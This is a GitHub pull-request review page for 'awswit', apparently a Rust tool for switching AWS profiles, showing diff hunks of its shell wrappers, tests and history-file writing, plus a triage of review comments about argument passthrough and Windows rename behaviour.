set -e AWS_REGION
set -e AWS_DEFAULT_REGION
set -e AWSWIT_PROFILE
case '*'
if test -n "$key"
echo $line
end
end
set -l _out (command awswit --shell-export $argv)
set -l _rc $status
if test $_rc -eq 0; and test -n "$_out"
echo $_out | source
end
return $_rc
Comment thread src/init/powershell.ps1
Comment on lines +9 to +25
$binary = (Get-Command awswit -CommandType Application).Source
if ($Arguments.Count -ge 1) {
switch -Regex ($Arguments[0]) {
'^(exec|pick|which|doctor|init|completions|prompt|help|-h|--help|-v|--version|-l|--list)$' {
& $binary @Arguments
return
}
}
}

if ($exitCode -ne 0) {
Write-Error $output
$global:LASTEXITCODE = $exitCode
return
$out = & $binary --shell-export @Arguments
$rc = $LASTEXITCODE
if ($rc -eq 0 -and $out) {
Invoke-Expression ($out -join "`n")
}
$global:LASTEXITCODE = $rc
}
Comment on lines +243 to +252
#[cfg(unix)]
#[test]
fn exec_runs_command_with_profile_env() {
let home = setup_aws_home();
// /usr/bin/env is Unix-only; the Windows test below covers the same
// behavior via the awswit binary itself.
let output = awswit_command(&home)
.args(["exec", "dev", "--", "/usr/bin/env"])
.output()
.unwrap();
Comment on lines 259 to +266

#[test]
fn unset_outputs_unset_marker() {
fn exec_sets_aws_profile_via_self_invocation() {
// Portable variant: exec the awswit binary itself with `which`, which
// reads $AWS_PROFILE from the environment and echoes it. Works on
// every platform we ship for.
let home = setup_aws_home();
let output = awswit_command(&home)
Comment on lines +355 to +362
fn no_interactive_without_profile_or_env_errors() {
let home = setup_aws_home();
let output = awswit_command(&home).arg("-n").output().unwrap();
assert_eq!(output.status.code(), Some(1));
let stderr = String::from_utf8_lossy(&output.stderr);
assert!(
stderr.contains("no-interactive") || stderr.contains("PROFILE"),
"expected a usage error, got: {}",
Comment thread src/history/storage.rs
Comment on lines +139 to 146
let mut f = fs::File::create(&tmp)?;
f.write_all(body.as_bytes())?;
f.sync_all()?;
}

if let Err(e) = fs::rename(&tmp_path, &path) {
if let Err(cleanup_err) = fs::remove_file(&tmp_path) {
tracing::warn!(
"Failed to clean up temp file {:?}: {}",
tmp_path,
cleanup_err
);
}
if let Err(e) = fs::rename(&tmp, &path) {
let _ = fs::remove_file(&tmp);
return Err(e.into());
}
Triaged 10 review comments:

**False positives** (rejected, code already correct):
- src/main.rs:306 + :711 — Copilot claimed `p.region` / `d.message` won't compile out of a borrow. `serde_json::json!` accepts `Serialize` references, so Option<String> through `&Profile` / `&Diagnostic` serializes by reference. `cargo check` is clean.

**Real bugs fixed**:

1. **Wrapper passthrough only inspected `$1`.** All four shell wrappers
   (bash/zsh/fish/powershell) decided eval vs. passthrough based on the
   first argument only, so `awswit --json -l` (or any reordered flags)
   fell into the `--shell-export` path and would have `eval` / `source`
   / `Invoke-Expression` the binary's JSON output — broken for the user
   and potentially unsafe if anything in the JSON resembled shell syntax.

   Fix: each wrapper now scans every argument for a pass-through token
   (subcommand, help/version, list flags, JSON / names-only / shell-export
   flags). Flag order no longer matters. Also caught a regression in the
   process — passing `-s` directly used to forward through to the
   binary; the new scan includes `-s`/`--shell-export` so a power user
   can still call `awswit dev -s` without the wrapper trying to add a
   second `--shell-export`.

2. **`fs::rename` on Windows can refuse to overwrite.** Modern Rust
   uses `MoveFileExW(REPLACE_EXISTING)` so this is usually fine on
   NTFS, but FAT32 / network shares can still return AlreadyExists.
   Add a Windows-only fallback: on AlreadyExists, remove the target
   and retry. Loses atomicity but never loses history. Linux/macOS
   path unchanged — `rename(2)` already atomic.

3. **`exec_with_typo_suggests_correct_profile` used `"true"` as CMD.**
   The test errors out on profile resolution before spawn (so `true`
   would never execute), but Copilot is right that having `true` in the
   command vec is a portability red flag on Windows where the binary
   doesn't exist. Replaced with `env!("CARGO_BIN_EXE_awswit"), "--version"`
   so it's a real, present binary on every platform we ship for.

The three `/usr/bin/env`-using tests on lines 252/266/344 were already
addressed in 1393170 (gated with `#[cfg(unix)]` plus portable companions).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants